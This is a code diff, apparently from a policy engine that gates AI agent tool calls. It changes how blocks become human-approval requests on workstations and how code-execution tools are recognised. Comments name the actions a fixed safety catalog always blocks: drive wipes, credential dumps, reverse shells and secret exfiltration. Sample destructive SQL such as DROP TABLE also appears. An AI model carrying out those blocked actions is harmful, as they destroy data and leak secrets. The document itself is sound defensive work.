+            if (rule.verdict === 'block' && policy.enforcement === 'hard' && !hardBlock)
+                hardBlock = matched;
+            if (verdictPriority[rule.verdict] > verdictPriority[worstResult.verdict]) {
+                worstResult = matched;
+            }
             else if (rule.verdict === 'require_approval' && worstResult.verdict === 'require_approval') {
                 // A second approval rule matched: keep the first rule's attribution but tighten the
                 // approval routing to the most restrictive of both (a developer-scoped rule can never
@@ -1022,6 +1424,29 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
             }
         }
     }
+    // Workstation ceiling. With a HUMAN at the keyboard, an org policy's `block`
+    // pauses the action and asks that human — unless a policy marked
+    // `enforcement: 'hard'` also fired, in which case the hard policy blocks and
+    // is the one named. Without a human (CI, workloads, SDK agents, or a caller
+    // that did not assert presence) nothing changes: a block stays a block.
+    // The fixed Local Safety catalog is evaluated before policies and is never
+    // touched by this — root/home/drive wipes, credential dumps, reverse shells
+    // and a secret leaving the machine stay hard everywhere.
+    if (worstResult.verdict === 'block' && context.humanPresent === 'true') {
+        if (hardBlock) {
+            worstResult = { ...hardBlock, allowed: false };
+        }
+        else {
+            worstResult = {
+                ...worstResult,
+                allowed: false,
+                verdict: 'require_approval',
+                approval: { ...exports.WORKSTATION_ASK_APPROVAL },
+                askedInsteadOfBlocked: true,
+                reason: `${worstResult.reason || `Action policy "${worstResult.policyName}" blocked`} — asks you on a workstation (the policy is not marked Hard block)`,
+            };
+        }
+    }
     if (monitorMatches.length > 0) {
         worstResult = { ...worstResult, monitorMatches };
     }
@@ -1083,7 +1508,10 @@ function inferToolContext(toolName, args) {
     // by a SQL verb sniffed out of the command line — `git commit -m "delete old
     // loader"` and `grep "DROP TABLE"` are not DELETE/DROP. A SQL client invoked
     // from a shell (`psql -c "DROP TABLE x"`) is still caught by the shell model.
-    const isCodeExecTool = operation === toolName && /\b(node[_-]?repl|repl|shell|exec|terminal|command|run[_-]?code|bash|powershell|cmd)\b/i.test(toolName);
+    // Matched on the separator-normalized name: `\b` does not see `_` as a boundary,
+    // so `shell_command` / `run_terminal_cmd` / `execute_command` (the MCP norm)
+    // would otherwise miss and fall through to SQL sniffing of the raw command line.
+    const isCodeExecTool = operation === toolName && CODE_EXEC_TOOL_NAME_RE.test(nameWords);
     const sqlArg = args.query || args.sql || args.statement || (isCodeExecTool ? '' : (args.command || args.code || args.script || args.input)) || '';
     if (!isSearchTool && typeof sqlArg === 'string' && sqlArg.length > 0) {
         const sqlMatch = sqlArg.match(/(?<!-)\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE|GRANT|REVOKE|SHOW|DESCRIBE|EXPLAIN)\b(?!-)/i);
@@ -1095,7 +1523,7 @@ function inferToolContext(toolName, args) {
     // Code execution MCPs such as Cursor shell or Codex node_repl are shell-equivalent,
     // but classify common command text first so safe internal reads (git status, pwd, ls)
     // do not get blocked as high-impact execution.
-    if (operation === toolName && /\b(node[_-]?repl|repl|shell|exec|terminal|command|run[_-]?code)\b/i.test(toolName)) {
+    if (operation === toolName && CODE_EXEC_TOOL_NAME_RE.test(nameWords)) {
         // Only the command text is classified — never the whole args JSON, which
         // would let a file body or a comment turn a shell call into DELETE.
         operation = classifyShellCommandOperation(String(args.command || args.code || args.script || args.input || ''));